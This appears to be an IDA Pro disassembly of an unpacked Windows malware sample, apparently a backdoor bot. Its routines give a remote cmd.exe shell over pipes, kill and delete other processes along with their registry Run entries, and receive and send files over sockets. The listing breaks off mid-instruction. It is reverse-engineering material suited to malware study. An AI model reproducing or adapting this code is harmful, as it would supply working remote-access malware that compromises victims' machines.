; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F74066FD8493648586E4C74FBC49C8D5 ; File Name : u:\work\f74066fd8493648586e4c74fbc49c8d5_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00010000 ( 65536.) ; Section size in file : 00010000 ( 65536.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40110A+30p ; sub_40110A+3Ep ... var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = byte ptr -58h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 260h push ebx xor ebx, ebx cmp off_412000, ebx mov [ebp+var_C], ebx jz loc_401104 push esi mov eax, offset off_412000 push edi mov edi, ds:dword_411008 mov [ebp+var_18], eax mov esi, 104h loc_401030: ; CODE XREF: sub_401000+FCj push dword ptr [eax] lea eax, [ebp+var_58] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_58] push eax call sub_40AC4E add esp, 0Ch lea eax, [ebp+var_8] push eax push 3 lea eax, [ebp+var_58] push ebx push eax push [ebp+arg_0] call ds:dword_411000 ; RegOpenKeyExA lea eax, [ebp+var_4] mov [ebp+var_10], ebx push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push ebx loc_401080: ; CODE XREF: sub_401000+E6j push [ebp+var_8] call edi ; RegEnumValueA test eax, eax jnz short loc_4010E8 cmp [ebp+var_1C], 1 jnz short loc_4010BF push [ebp+arg_4] lea eax, [ebp+var_15C] push [ebp+var_4] push eax call sub_4052F1 add esp, 0Ch test eax, eax jz short loc_4010BF lea eax, [ebp+var_260] push eax push [ebp+var_8] call ds:dword_411004 ; RegDeleteValueA test eax, eax jnz short loc_4010BF inc [ebp+var_C] loc_4010BF: ; CODE XREF: sub_401000+8Dj ; sub_401000+A6j ... lea eax, [ebp+var_4] inc [ebp+var_10] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_260] mov [ebp+var_14], esi push eax mov [ebp+var_4], esi push [ebp+var_10] jmp short loc_401080 ; --------------------------------------------------------------------------- loc_4010E8: ; CODE XREF: sub_401000+87j push [ebp+var_8] call ds:dword_411028 ; RegCloseKey mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax cmp [eax], ebx jnz loc_401030 pop edi pop esi loc_401104: ; CODE XREF: sub_401000+15j mov eax, [ebp+var_C] pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40110A proc near ; CODE XREF: sub_4011C4+23Bp ; sub_40735A+42Fp var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push ebx push esi mov esi, [ebp+arg_0] push edi push 80h push esi call ds:dword_4110B0 ; SetFileAttributesA test eax, eax jz loc_4011BF push esi call ds:dword_4110B8 ; DeleteFileA push esi push 80000001h call sub_401000 mov ebx, 80000002h push esi push ebx mov edi, eax call sub_401000 add esp, 10h add eax, edi jnz short loc_4011BF mov edi, 104h lea eax, [ebp+var_104] push edi push esi push eax call sub_4052A6 lea eax, [ebp+var_104] push eax call sub_410826 ; strlen add esp, 10h test eax, eax jz short loc_40119E loc_40117A: ; CODE XREF: sub_40110A+78j cmp byte ptr [esi+eax-1], 5Ch jz short loc_401186 dec eax jnz short loc_40117A jmp short loc_40119E ; --------------------------------------------------------------------------- loc_401186: ; CODE XREF: sub_40110A+75j lea eax, [ebp+eax+var_104] push edi push eax lea eax, [ebp+var_104] push eax call sub_4052A6 add esp, 0Ch loc_40119E: ; CODE XREF: sub_40110A+6Ej ; sub_40110A+7Aj lea eax, [ebp+var_104] push eax push 80000001h call sub_401000 lea eax, [ebp+var_104] push eax push ebx call sub_401000 add esp, 10h loc_4011BF: ; CODE XREF: sub_40110A+1Dj ; sub_40110A+48j pop edi pop esi pop ebx leave retn sub_40110A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011C4 proc near ; DATA XREF: sub_4014B0+74o var_3D0 = byte ptr -3D0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_2C7 = dword ptr -2C7h var_2C3 = byte ptr -2C3h var_2C2 = byte ptr -2C2h var_1C3 = byte ptr -1C3h var_2B = byte ptr -2Bh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D0h push 2ACh lea eax, [ebp+var_2CC] push [ebp+arg_0] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h cmp [ebp+var_2C8], 0 jz short loc_401218 lea eax, [ebp+var_2C3] push eax mov eax, [ebp+var_2CC] push dword ptr [eax] lea eax, [ebp+var_1C3] push offset dword_412144 push eax call sub_408D50 add esp, 10h loc_401218: ; CODE XREF: sub_4011C4+2Fj push ebx push esi call sub_403F1D mov esi, eax xor ebx, ebx cmp esi, ebx jz loc_40149C push edi push 10000h call sub_41082C ; malloc cmp [esi], ebx pop ecx mov [ebp+arg_0], eax mov [ebp+var_8], ebx mov [ebp+var_10], ebx jle loc_40143E xor edi, edi loc_40124A: ; CODE XREF: sub_4011C4+269j call ds:dword_4110F0 ; GetCurrentProcessId mov ecx, [esi+4] cmp [edi+ecx], eax jz loc_40141F lea eax, [ebp+var_3D0] push 104h push eax push ebx call ds:dword_411094 ; GetModuleHandleA push eax call ds:dword_411098 ; GetModuleFileNameA mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax lea eax, [ebp+var_3D0] push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40141F mov eax, [esi+4] push dword ptr [edi+eax] mov al, [ebp+var_2C8] neg al sbb eax, eax push ebx add eax, 11h push eax call ds:dword_41109C ; OpenProcess cmp eax, ebx mov [ebp+var_4], eax jz loc_40141F xor edx, edx mov [ebp+var_C], ebx mov [ebp+var_20], edx loc_4012C2: ; CODE XREF: sub_4011C4+1DAj mov eax, [esi+4] mov [ebp+var_18], 10000h add eax, edi mov ecx, [eax+8] sub ecx, edx cmp ecx, 10000h ja short loc_4012DE mov [ebp+var_18], ecx loc_4012DE: ; CODE XREF: sub_4011C4+115j mov eax, [eax+4] lea ecx, [ebp+var_C] push ecx add eax, edx push [ebp+var_18] push [ebp+arg_0] push eax push [ebp+var_4] call ds:dword_4110A0 ; ReadProcessMemory test eax, eax jz loc_40138A cmp [ebp+var_C], ebx jz loc_40138A xor ecx, ecx loc_40130A: ; CODE XREF: sub_4011C4+1B9j mov eax, [ebp+arg_0] mov al, [ecx+eax] cmp al, [ebp+var_2C3] jz short loc_401330 movsx edx, al movsx eax, [ebp+var_2C3] lea ebx, [eax+20h] cmp edx, ebx jz short loc_401330 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401330: ; CODE XREF: sub_4011C4+152j ; sub_4011C4+163j lea eax, [ebp+var_2C2] mov [ebp+var_14], eax mov eax, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_1C], eax loc_401343: ; CODE XREF: sub_4011C4+1ABj mov eax, [ebp+var_14] mov dl, [eax] test dl, dl jz short loc_401381 mov eax, [ebp+var_1C] mov al, [eax] cmp dl, al jz short loc_401369 movsx eax, al movsx edx, dl lea ebx, [eax+20h] cmp edx, ebx jz short loc_401369 add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_401371 loc_401369: ; CODE XREF: sub_4011C4+18Fj ; sub_4011C4+19Cj inc [ebp+var_1C] inc [ebp+var_14] jmp short loc_401343 ; --------------------------------------------------------------------------- loc_401371: ; CODE XREF: sub_4011C4+16Aj ; sub_4011C4+1A3j mov eax, [ebp+var_C] inc ecx sub eax, [ebp+var_2C7] cmp ecx, eax jbe short loc_40130A jmp short loc_40138A ; --------------------------------------------------------------------------- loc_401381: ; CODE XREF: sub_4011C4+186j mov eax, [ebp+arg_0] add ecx, eax test ecx, ecx jnz short loc_4013A3 loc_40138A: ; CODE XREF: sub_4011C4+135j ; sub_4011C4+13Ej ... mov edx, [ebp+var_20] mov eax, [esi+4] add edx, [ebp+var_18] cmp edx, [edi+eax+8] mov [ebp+var_20], edx jz short loc_401414 xor ebx, ebx jmp loc_4012C2 ; --------------------------------------------------------------------------- loc_4013A3: ; CODE XREF: sub_4011C4+1C4j inc [ebp+var_8] cmp [ebp+var_2C8], 0 jz short loc_4013EC push 3E8h call ds:dword_4110A4 ; Sleep mov bl, [ebp+var_2B] and [ebp+var_2B], 0 mov eax, [esi+4] add eax, edi push dword ptr [eax] add eax, 0Ch push eax lea eax, [ebp+var_2C3] push eax lea eax, [ebp+var_1C3] push offset dword_41211C push eax call sub_408D50 add esp, 14h mov [ebp+var_2B], bl jmp short loc_401405 ; --------------------------------------------------------------------------- loc_4013EC: ; CODE XREF: sub_4011C4+1E9j push 0 push [ebp+var_4] call ds:dword_4110A8 ; TerminateProcess mov eax, [esi+4] lea eax, [edi+eax+0Ch] push eax call sub_40110A pop ecx loc_401405: ; CODE XREF: sub_4011C4+226j mov eax, [ebp+var_2CC] xor ebx, ebx cmp [eax+4], ebx jnz short loc_401435 jmp short loc_401416 ; --------------------------------------------------------------------------- loc_401414: ; CODE XREF: sub_4011C4+1D6j xor ebx, ebx loc_401416: ; CODE XREF: sub_4011C4+24Ej push [ebp+var_4] call ds:dword_4110AC ; CloseHandle loc_40141F: ; CODE XREF: sub_4011C4+92j ; sub_4011C4+CAj ... inc [ebp+var_10] add edi, 114h mov eax, [ebp+var_10] cmp eax, [esi] jl loc_40124A jmp short loc_40143E ; --------------------------------------------------------------------------- loc_401435: ; CODE XREF: sub_4011C4+24Cj push [ebp+var_4] call ds:dword_4110AC ; CloseHandle loc_40143E: ; CODE XREF: sub_4011C4+7Ej ; sub_4011C4+26Fj push esi call sub_404138 push [ebp+arg_0] call sub_410832 ; free cmp [ebp+var_2C8], 0 pop ecx pop ecx pop edi jz short loc_40149C push 3E8h call ds:dword_4110A4 ; Sleep cmp [ebp+var_8], ebx lea eax, [ebp+var_2C3] push eax jnz short loc_401485 lea eax, [ebp+var_1C3] push offset dword_4120F8 push eax call sub_408D50 add esp, 0Ch jmp short loc_40149C ; --------------------------------------------------------------------------- loc_401485: ; CODE XREF: sub_4011C4+2A9j push [ebp+var_8] lea eax, [ebp+var_1C3] push offset dword_4120CC push eax loc_401494: ; DATA XREF: .data:off_414C48o call sub_408D50 add esp, 10h loc_40149C: ; CODE XREF: sub_4011C4+61j ; sub_4011C4+292j ... push [ebp+var_2CC] call sub_406753 pop ecx pop esi xor eax, eax pop ebx leave retn 4 sub_4011C4 endp ; =============== S U B R O U T I N E ======================================= sub_4014B0 proc near ; CODE XREF: sub_40735A+450p var_10 = dword ptr -10h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_401531 push edi call sub_410826 ; strlen test eax, eax pop ecx jz short loc_401531 push 2ACh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_401531 push ebx mov bl, [esp+0Ch+arg_8] push edi mov [esi+4], bl call sub_410826 ; strlen mov [esi+5], eax mov [esp+10h+var_10], 100h lea eax, [esi+9] push edi push eax call sub_41083E ; strncpy push [esp+18h+arg_0] lea eax, [esi+109h] push eax call sub_403E60 add esp, 14h mov eax, offset aListing ; "Listing" test bl, bl pop ebx jnz short loc_40151A mov eax, offset aKilling ; "Killing" loc_40151A: ; CODE XREF: sub_4014B0+63j push edi push eax push offset dword_412174 push 0 push esi push offset sub_4011C4 call sub_40663C add esp, 18h loc_401531: ; CODE XREF: sub_4014B0+8j ; sub_4014B0+13j ... pop edi pop esi retn sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= sub_401534 proc near ; CODE XREF: sub_401621:loc_40188Dp mov eax, dword_417B54 push esi mov esi, ds:dword_4110AC cmp eax, 0FFFFFFFFh jz short loc_401548 push eax call esi ; CloseHandle loc_401548: ; CODE XREF: sub_401534+Fj mov eax, dword_417B48 cmp eax, 0FFFFFFFFh jz short loc_401555 push eax call esi ; CloseHandle loc_401555: ; CODE XREF: sub_401534+1Cj mov eax, dword_417B4C cmp eax, 0FFFFFFFFh jz short loc_401562 push eax call esi ; CloseHandle loc_401562: ; CODE XREF: sub_401534+29j mov eax, dword_417B50 cmp eax, 0FFFFFFFFh jz short loc_40156F push eax call esi ; CloseHandle loc_40156F: ; CODE XREF: sub_401534+36j pop esi retn sub_401534 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401571 proc near ; CODE XREF: sub_401621+228p ; sub_401621+252p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+189h], 0 jnz short loc_401590 cmp byte ptr [esi+18Dh], 0 jz short loc_4015CE loc_401590: ; CODE XREF: sub_401571+14j ; sub_401571+49j ... push 32h call ds:dword_4110A4 ; Sleep cmp byte ptr [esi+189h], 0 jz short loc_4015B3 call sub_41084A ; clock sub eax, dword_417B5C cmp eax, 1F4h jnb short loc_4015CE loc_4015B3: ; CODE XREF: sub_401571+2Ej cmp byte ptr [esi+18Dh], 0 jz short loc_401590 call sub_41084A ; clock sub eax, dword_417B5C cmp eax, 0FAh jb short loc_401590 loc_4015CE: ; CODE XREF: sub_401571+1Dj ; sub_401571+40j call sub_41084A ; clock mov ecx, [ebp+arg_4] mov dword_417B5C, eax mov al, [ecx] cmp al, 0Ah jz short loc_4015FC cmp al, 0Dh jz short loc_4015FC push 200h lea eax, [ebp+var_200] push ecx push eax call sub_4052A6 add esp, 0Ch jmp short loc_40160F ; --------------------------------------------------------------------------- loc_4015FC: ; CODE XREF: sub_401571+6Ej ; sub_401571+72j lea eax, [ebp+var_200] push offset dword_4121A4 push eax call sub_410844 ; sprintf pop ecx pop ecx loc_40160F: ; CODE XREF: sub_401571+89j lea eax, [ebp+var_200] push eax push esi call sub_408D50 pop ecx pop ecx pop esi leave retn sub_401571 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; DATA XREF: sub_4018D5+73o var_724 = byte ptr -724h var_620 = byte ptr -620h var_420 = dword ptr -420h var_21C = byte ptr -21Ch var_78 = dword ptr -78h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 724h push ebx push esi push edi push 3A7h push [ebp+arg_0] lea eax, [ebp+var_420] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h call sub_41084A ; clock sub eax, 1F4h xor esi, esi mov dword_417B5C, eax lea eax, [ebp+var_724] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call ds:dword_411074 ; SearchPathA test eax, eax jz loc_401892 push 1 lea eax, [ebp+var_20] pop ebx mov edi, ds:dword_411078 push esi push eax lea eax, [ebp+var_10] mov [ebp+var_20], 0Ch push eax lea eax, [ebp+var_14] push eax mov [ebp+var_18], ebx mov [ebp+var_1C], esi call edi ; CreatePipe test eax, eax jz loc_40188D lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax call edi ; CreatePipe test eax, eax jz loc_40188D mov edi, ds:dword_4110F8 push 3 push esi push esi push offset dword_417B50 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_411080 ; DuplicateHandle test eax, eax jz loc_40188D push 10h lea eax, [ebp+var_34] push esi push eax call sub_410850 ; memset push 44h lea eax, [ebp+var_78] pop edi push edi push esi push eax call sub_410850 ; memset mov eax, [ebp+var_C] add esp, 18h mov [ebp+var_40], eax mov eax, [ebp+var_10] mov [ebp+var_3C], eax mov [ebp+var_38], eax lea eax, [ebp+var_34] mov [ebp+var_78], edi push eax lea eax, [ebp+var_78] push eax push esi push esi push esi push ebx push esi push esi lea eax, [ebp+var_724] push offset byte_417B60 push eax mov [ebp+var_4C], 101h mov [ebp+var_48], si call ds:dword_411084 ; CreateProcessA test eax, eax jz loc_40188D push [ebp+var_C] mov edi, ds:dword_4110AC call edi ; CloseHandle mov eax, [ebp+var_14] push [ebp+var_30] mov dword_417B54, eax mov eax, [ebp+var_8] mov dword_417B48, eax mov eax, [ebp+var_34] mov dword_417B4C, eax call edi ; CloseHandle mov eax, [ebp+var_420] mov [ebp+var_4], esi cmp [eax+4], esi jnz loc_40188D mov edi, 200h mov ebx, 103h loc_40178F: ; CODE XREF: sub_401621+238j push edi lea eax, [ebp+var_620] push esi push eax call sub_410850 ; memset add esp, 0Ch lea eax, [ebp+var_4] push esi push esi push eax lea eax, [ebp+var_620] push edi push eax push dword_417B54 call ds:dword_411088 ; PeekNamedPipe test eax, eax jz loc_401867 cmp [ebp+var_4], esi jnz short loc_4017F1 lea eax, [ebp+arg_0] mov [ebp+arg_0], ebx push eax push dword_417B4C call ds:dword_41108C ; GetExitCodeProcess test eax, eax jz short loc_4017E7 cmp [ebp+arg_0], ebx jnz loc_40187A loc_4017E7: ; CODE XREF: sub_401621+1BBj push 0Ah call ds:dword_4110A4 ; Sleep jmp short loc_401850 ; --------------------------------------------------------------------------- loc_4017F1: ; CODE XREF: sub_401621+1A4j xor eax, eax cmp [ebp+var_4], esi jbe short loc_401808 loc_4017F8: ; CODE XREF: sub_401621+1E5j cmp [ebp+eax+var_620], 0Ah jz short loc_401861 inc eax cmp eax, [ebp+var_4] jb short loc_4017F8 loc_401808: ; CODE XREF: sub_401621+1D5j mov [ebp+var_4], edi loc_40180B: ; CODE XREF: sub_401621+244j push edi lea eax, [ebp+var_620] push esi push eax call sub_410850 ; memset add esp, 0Ch lea eax, [ebp+var_24] push esi push eax push [ebp+var_4] lea eax, [ebp+var_620] push eax push dword_417B54 call ds:dword_411090 ; ReadFile test eax, eax jz short loc_40188D lea eax, [ebp+var_620] push eax lea eax, [ebp+var_21C] push eax call sub_401571 pop ecx pop ecx loc_401850: ; CODE XREF: sub_401621+1CEj mov eax, [ebp+var_420] cmp [eax+4], esi jz loc_40178F jmp short loc_40188D ; --------------------------------------------------------------------------- loc_401861: ; CODE XREF: sub_401621+1DFj inc eax mov [ebp+var_4], eax jmp short loc_40180B ; --------------------------------------------------------------------------- loc_401867: ; CODE XREF: sub_401621+19Bj lea eax, [ebp+var_21C] push offset aCouldNotReadDa ; "Could not read data from process." push eax call sub_401571 jmp short loc_40188B ; --------------------------------------------------------------------------- loc_40187A: ; CODE XREF: sub_401621+1C0j lea eax, [ebp+var_21C] push offset aCmd_exeProcess ; "Cmd.exe process has terminated." push eax call sub_408D50 loc_40188B: ; CODE XREF: sub_401621+257j pop ecx pop ecx loc_40188D: ; CODE XREF: sub_401621+85j ; sub_401621+9Cj ... call sub_401534 loc_401892: ; CODE XREF: sub_401621+58j push [ebp+var_420] call sub_406753 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018A7 proc near ; CODE XREF: sub_4018D5+90p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_410826 ; strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_417B50 call ds:dword_411070 ; WriteFile neg eax sbb eax, eax neg eax leave retn sub_4018A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D5 proc near ; CODE XREF: sub_40735A+1054p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push ebx xor ebx, ebx push esi cmp [eax+198h], bl push edi jz short loc_401905 cmp [ebp+arg_4], ebx jz loc_401980 push ebx push ebx push ebx push [ebp+arg_4] push offset aOpen ; "open" push ebx call ds:dword_4111E4 jmp short loc_401980 ; --------------------------------------------------------------------------- loc_401905: ; CODE XREF: sub_4018D5+11j push 3A7h call sub_41082C ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401980 mov edi, [ebp+arg_4] cmp edi, ebx jz short loc_40192F push 200h lea eax, [esi+4] push edi push eax call sub_4052A6 add esp, 0Ch loc_40192F: ; CODE XREF: sub_4018D5+46j push [ebp+arg_0] lea eax, [esi+204h] push eax call sub_403E60 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push esi push offset sub_401621 call sub_40663C add esp, 10h cmp edi, ebx jz short loc_401980 push offset asc_412214 ; "\r\n" push edi call sub_410856 ; _mbscat push edi call sub_4018A7 add esp, 0Ch test eax, eax jnz short loc_401980 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_408D50 pop ecx pop ecx loc_401980: ; CODE XREF: sub_4018D5+16j ; sub_4018D5+2Ej ... pop edi pop esi pop ebx pop ebp retn sub_4018D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401985 proc near ; DATA XREF: sub_401EA8+E9o var_604 = qword ptr -604h var_5FC = qword ptr -5FCh var_5E8 = byte ptr -5E8h var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3C3 = byte ptr -3C3h var_2BF = byte ptr -2BFh var_1BF = byte ptr -1BFh var_1B5 = byte ptr -1B5h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E8h push esi push 3D6h push [ebp+arg_0] lea eax, [ebp+var_3E8] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h lea eax, [ebp+var_3C3] push eax call ds:dword_4110B8 ; DeleteFileA lea eax, [ebp+var_3C3] push offset dword_4122AC push eax call sub_41086E ; fopen xor esi, esi pop ecx cmp eax, esi pop ecx mov [ebp+var_10], eax jnz short loc_4019E4 push [ebp+var_3E8] call sub_406753 jmp short loc_401A1B ; --------------------------------------------------------------------------- loc_4019E4: ; CODE XREF: sub_401985+50j push 2710h lea eax, [ebp+var_1BF] push esi push eax lea eax, [ebp+var_2BF] push eax call sub_403BBB add esp, 10h cmp eax, esi mov [ebp+var_C], eax jnz short loc_401A23 push [ebp+var_10] call sub_410868 ; fclose push [ebp+var_3E8] call sub_406753 pop ecx loc_401A1B: ; CODE XREF: sub_401985+5Dj pop ecx xor eax, eax jmp loc_401B7C ; --------------------------------------------------------------------------- loc_401A23: ; CODE XREF: sub_401985+80j push ebx lea eax, [ebp+var_3E4] push edi push eax lea eax, [ebp+var_3C3] push eax mov eax, [ebp+var_3E8] push dword ptr [eax] lea eax, [ebp+var_1B5] push offset dword_412280 push eax call sub_408D50 add esp, 14h call sub_41084A ; clock mov ebx, ds:dword_411258 mov [ebp+var_4], esi push esi mov [ebp+arg_0], eax mov esi, 200h lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] loc_401A71: ; CODE XREF: sub_401985+14Bj call ebx ; recv mov edi, eax test edi, edi jz short loc_401AD2 cmp edi, esi ja short loc_401AD2 add [ebp+var_4], edi push [ebp+var_4] call ds:dword_41125C ; htonl mov [ebp+var_8], eax lea eax, [ebp+var_8] push 4 push eax push [ebp+var_C] call sub_403D54 push [ebp+var_10] lea eax, [ebp+var_5E8] push edi push 1 push eax call sub_410862 ; fwrite add esp, 1Ch cmp edi, esi jb short loc_401AD2 mov eax, [ebp+var_3E8] cmp dword ptr [eax+4], 0 jnz loc_401B5A push 0 lea eax, [ebp+var_5E8] push esi push eax push [ebp+var_C] jmp short loc_401A71 ; --------------------------------------------------------------------------- loc_401AD2: ; CODE XREF: sub_401985+F2j ; sub_401985+F6j ... push [ebp+var_10] call sub_41085C ; ftell pop ecx mov esi, eax call sub_41084A ; clock cmp [ebp+arg_0], eax jnz short loc_401AF0 call sub_41084A ; clock dec eax mov [ebp+arg_0], eax loc_401AF0: ; CODE XREF: sub_401985+160j mov eax, esi mov ecx, 400h cdq idiv ecx mov [ebp+var_8], eax fild [ebp+var_8] fstp [ebp+var_4] call sub_41084A ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_8], eax fild [ebp+var_8] fmul ds:flt_411280 fdivr [ebp+var_4] fstp [esp+5FCh+var_5FC] call sub_41084A ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_3E4] fild [ebp+arg_0] fmul ds:flt_411280 fstp [esp+604h+var_604] push eax lea eax, [ebp+var_3C3] push eax lea eax, [ebp+var_1B5] push offset dword_412234 push eax call sub_408D50 add esp, 20h loc_401B5A: ; CODE XREF: sub_401985+138j push [ebp+var_10] call sub_410868 ; fclose push [ebp+var_C] call sub_403D27 push [ebp+var_3E8] call sub_406753 add esp, 0Ch xor eax, eax pop edi pop ebx loc_401B7C: ; CODE XREF: sub_401985+99j pop esi leave retn 4 sub_401985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B81 proc near ; DATA XREF: sub_401FA3+65o var_A1C = qword ptr -0A1Ch var_A14 = qword ptr -0A14h var_A00 = byte ptr -0A00h var_5FC = byte ptr -5FCh var_3FC = byte ptr -3FCh var_2F8 = dword ptr -2F8h var_2F4 = byte ptr -2F4h var_2D3 = byte ptr -2D3h var_2D2 = byte ptr -2D2h var_1CF = byte ptr -1CFh var_2C = byte ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A00h push ebx push esi push edi push 2CCh push [ebp+arg_0] lea eax, [ebp+var_2F8] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_2D3] push eax call sub_410826 ; strlen xor esi, esi add esp, 14h cmp eax, esi jz short loc_401BCB loc_401BBE: ; CODE XREF: sub_401B81+48j cmp [ebp+eax+var_2D3], 5Ch jz short loc_401BD3 dec eax jnz short loc_401BBE loc_401BCB: ; CODE XREF: sub_401B81+3Bj lea eax, [ebp+var_2D3] jmp short loc_401BDA ; --------------------------------------------------------------------------- loc_401BD3: ; CODE XREF: sub_401B81+45j lea eax, [ebp+eax+var_2D2] loc_401BDA: ; CODE XREF: sub_401B81+50j push eax lea eax, [ebp+var_3FC] push eax call sub_410820 ; _mbscpy pop ecx lea eax, [ebp+var_8] pop ecx mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax call sub_40882C push eax call ds:dword_411250 ; getsockname push 2 push esi push esi lea eax, [ebp+var_A00] push 401h push eax push [ebp+var_8] lea eax, [ebp+var_2C] push eax call dword_417BB8 ; getnameinfo test eax, eax jz short loc_401C32 loc_401C25: ; CODE XREF: sub_401B81+E3j push [ebp+var_2F8] call sub_406753 jmp short loc_401C91 ; --------------------------------------------------------------------------- loc_401C32: ; CODE XREF: sub_401B81+A2j lea eax, [ebp+var_14] push 0Ah push eax push 1388h push 400h call sub_40AADE pop ecx pop ecx push eax call sub_410C9A ; _itoa lea eax, [ebp+var_14] push 1 push eax call sub_4035FB mov edi, eax add esp, 14h cmp edi, esi mov [ebp+var_1C], edi jz short loc_401C25 lea eax, [ebp+var_2D3] push offset aRb ; "rb" push eax call sub_41086E ; fopen mov ebx, eax pop ecx cmp ebx, esi pop ecx jnz short loc_401C97 push edi call sub_4038E1 push [ebp+var_2F8] call sub_406753 pop ecx loc_401C91: ; CODE XREF: sub_401B81+AFj pop ecx jmp loc_401E9F ; --------------------------------------------------------------------------- loc_401C97: ; CODE XREF: sub_401B81+FCj push 2 push esi push ebx call sub_410886 ; fseek push ebx call sub_41085C ; ftell push esi push esi push ebx mov [ebp+var_4], eax call sub_410886 ; fseek add esp, 1Ch lea eax, [ebp+var_A00] push eax lea eax, [ebp+var_3FC] push eax lea eax, 